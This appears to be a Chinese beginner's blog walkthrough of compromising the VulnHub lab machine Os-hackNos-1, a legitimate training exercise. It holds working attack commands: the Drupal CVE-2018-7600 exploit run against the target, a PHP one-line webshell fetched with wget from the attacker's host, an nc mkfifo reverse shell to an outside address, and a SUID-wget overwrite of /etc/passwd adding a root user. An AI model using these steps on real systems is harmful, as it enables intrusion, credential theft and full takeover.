第一次写自己总结的文章,之后也会有更新,目前还在初学阶段。

首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1

简介: 难度容易到中, flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt

靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息。

开始过程:

1.去靶机的网站进行下载,一个是直接下载,一个是磁力链接。
 
2.在这个页面一直按shift然后按e进入页面
 

3.将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面
4.查ip发现查不到,记住网卡的名称,准备修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
6.然后/etc/init.d/networking restart 重启网卡服务
7.最后按ctrl+alt+del,进行重启
 

接下来开始正式的操作

首先看ip然后扫描这个ip段,看靶机的IP地址是多少

 
发现靶机ip和其他的不同

使用nmap扫描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1

发现开放22和80端口,尝试访问

使用火狐访问,firefox http://192.168.0.8

访问成功

先使用目录扫描器,查看后台目录,发现gobuster没有安装,先安装。apt install gobuster

输入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现存在一个/drupal的页面

访问成功。http://192.168.0.8/drupal/

获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。

发现版本为7.57,可以网上查找是否存在exp。

在github上发现了exp,https://github.com/pimps/CVE-2018-7600

创建一个文件夹,来安装exp。命令git clone https://github.com/pimps/CVE-2018-7600.git

使用python3来打开,输入-h参数。python3 drupa7-CVE-2018-7600.py -h

发现有很多参数,这里一般填写url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

输入url之后,默认输入了id,返回了用户www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/

这里的-c参数可以执行系统命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami

查看目录文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls

访问数据库文件的页面。http://192.168.0.8/drupal/sites/

查看数据库文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"

获取到了账号密码文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode

在获取账号的同时也可以在对目录进行更深的扫描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

在之前创建的文件夹目录下,创建config.txt文件,写入账号和密码。

编写一个php文件的一句话。<?php system($_POST['knife']);?>
 
开启python自带的httpserver,查看ip地址。python -m SimpleHTTPServer

要在靶机上上传这个木马文件,尝试访问,访问成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"

上传成功

在抓代理之前,设置火狐为中文,方便之后的查看

发现代理没有下载,搜索foxyproxy进行下载,点击添加即可。

在burp这个页面设置代理

上传之后,查看文件无法显示,抓包看一下。

更改提交的方法,使用change request method

成功获取,可以执行命令了,试着做一个反弹shell

先监听9001端口

使用nc的命令进行反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

放到moon的这里。需要进行编码才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff

获取成功

对shell进行一个切换,-c导入模块pty,最后登录成功
python3 -c 'import pty;pty.spawn("/bin/bash")'

查看id和ls目录,查看/etc/passwd 下的目录,发现有一个james的用户,查看内容

查看user.txt,发现第一个flag。bae11ce4f67af91fa58576c1da2aad4b

试着访问root目录发现没有权限。继续查看其他文件,看看有没有可疑文件。

返回上一级目录查看文件,发现一个alexander.txt的文件。

查看文件发现为一些密文,可以使用burp来进行解密,发现可以使用base64位来进行解密

解密内容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度进行查询发现是一种编码格式进行解密。

获得账号。james:Hacker@4514

保存账号到目录下

尝试登录,发现无法登录

想起之前有开放22端口,试着ssh登录,发现也是不行

没有其他办法了,试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。find / -perm -u=s -type f 2>/dev/null

发现这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password。
把整个passwd先复制出来,然后在baji1的文件夹里创建一个passwd,粘贴进去。

创建一个用户

将root的格式复制出来,使用knife来进行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash

保存到创建的passwd里面

访问本地的端口,查看文件是否可以访问

下载到我们的目标靶机上,把passwd进行替换就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd

打开passwd发现修改成功

使用knife进行登录,用户权限变成root,修改成功

返回主目录,打开root.txt。获取flag

查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。

总结

1.第一次进行靶机的渗透,有需要地方还不熟悉,工具也是在过程中安装的没有事先安装。

2.过程中遇到了很多问题,文件上传的问题,nc反弹shell的问题等问题,这些问题在渗透中,都需要去查找资料,慢慢一步一步的去做。

3.总的来说,第一次靶机很艰难,但也十分有趣,能学习到很多知识,对自身也有很大的提升。

 
 
 
 
 
 

vulnhub靶机练习-Os-hackNos-1,超详细使用的更多相关文章

  1. 转帖: 一份超全超详细的 ADB 用法大全

    增加一句 连接 网易mumu模拟器的方法 adb  connect 127.0.0.1:7555 一份超全超详细的 ADB 用法大全 2016年08月28日 10:49:41 阅读数:35890 原文 ...

  2. SCIP | 数学规划求解器SCIP超详细的使用教程

    前言 小伙伴们大家好呀!继上次lp_solve规划求解器的推文出来以后,大家都期待着更多求解器的具体介绍和用法.小编哪敢偷懒,这不,赶在考试周之际,又在忙里偷闲中给大家送上一篇SCIP规划求解的推文教 ...

  3. c语言面试宝典(经典,超详细)

    c语言面试宝典(经典,超详细) 2018年08月25日 09:32:19 chengxuyuan997 阅读数:7799   摘自:https://blog.csdn.net/chengxuyuan9 ...

  4. 超详细Go语言源码目录说明

    开源项目「go home」聚焦Go语言技术栈与面试题,以协助Gopher登上更大的舞台,欢迎go home~ 导读 学习Go语言源码的第一步就是了解先了解它的目录结构,你对它的源码目录了解多少呢?今天 ...

  5. Docker安装教程(超详细)

    Docker安装教程(超详细) 欢迎关注博主公众号「Java大师」, 专注于分享Java领域干货文章, 关注回复「资源」, 免费领取全网最热的Java架构师学习PDF, 转载请注明出处 http:// ...

  6. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  7. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  8. 【转】(超详细)jsp与servlet之间页面跳转及参数传递实例

    初步学习JavaEE,对其中jsp与Servlet之间的传值没弄清楚,查看网上资料,发现一篇超详细的文章,收获大大,特此记录下来.具体链接:http://blog.csdn.net/ssy_shand ...

  9. 超强、超详细Redis数据库入门教程

    这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...

  10. Github上传代码菜鸟超详细教程【转】

    最近需要将课设代码上传到Github上,之前只是用来fork别人的代码. 这篇文章写得是windows下的使用方法. 第一步:创建Github新账户 第二步:新建仓库 第三部:填写名称,简介(可选), ...

随机推荐

  1. Prometheus集群介绍-1

    Prometheus监控介绍 公司做教育的,要迁移上云,所以需要我这边从零开始调研加后期维护Prometheus:近期看过二本方面的prometheus书籍,一本是深入浅出一般是实战方向的:官方文档主 ...

  2. 【JDBC核心】JDBC 概述

    JDBC 概述 数据的持久化 持久化(persistence):把数据保存到可掉电式存储设备中以供之后使用.大多数情况下,特别是企业级应用,数据持久化意味着将内存中的数据保存到硬盘上加以"固 ...

  3. 【Spring】XML方式实现(无参构造 有参构造)和注解方式实现 IoC

    文章目录 Spring IoC的实现方式 XML方式实现 通过无参构造方法来创建 1.编写一个User实体类 2.编写我们的spring文件 3.测试类 UserTest.java 4.测试结果 通过 ...

  4. 【Python】在CentOS6.8中安装pip9.0.1和setuptools33.1

    wget https://bootstrap.pypa.io/ez_setup.py python ez_setup.py install --如果这个文件安装需要下载的文件无法下载的话,手动下载,放 ...

  5. pg_rman的安装与使用

    1.下载对应数据库版本及操作系统的pg_rman源码 https://github.com/ossc-db/pg_rman/releases 本例使用的是centos6.9+pg10,因此下载的是pg ...

  6. AVA编程中button按钮,actionlistener和mouseClicked区别

    在java的编程中,对于按钮button 有两个事件: 1.actionPerformed 2.mouseClicked 区别: actionPerformed:一般事件,仅侦听鼠标左键的单击事件,右 ...

  7. 前端开发好帮手,eslint配置全知道

    eslint让人又爱又恨,原因在于它的默认配置非常严格,动则一个小提示就直接报错不给运行.而在开发调试的过程中,我们想时时得到运行效果,它的严格又很烦. 在安装eslint后,我们可以在package ...

  8. 09--Docker 安装tomcat9

    1.在hub.docker.com中获取tomcat拉取地址 docker pull tomcat:9.0.41-jdk8-corretto 2.查看Dockerfile 中WORKDIR 为/use ...

  9. Spring Cloud Alibaba学习笔记

    引自B站楠哥:https://space.bilibili.com/434617924 一.创建父工程 创建父工程hello-spring-cloud-alibaba Spring Cloud Ali ...

  10. rbd-db数据迁移至外部数据库

    部署外部数据库 安装Docker export VERSION=19.03 && curl -fsSL http://rainbond-pkg.oss-cn-shanghai.aliy ...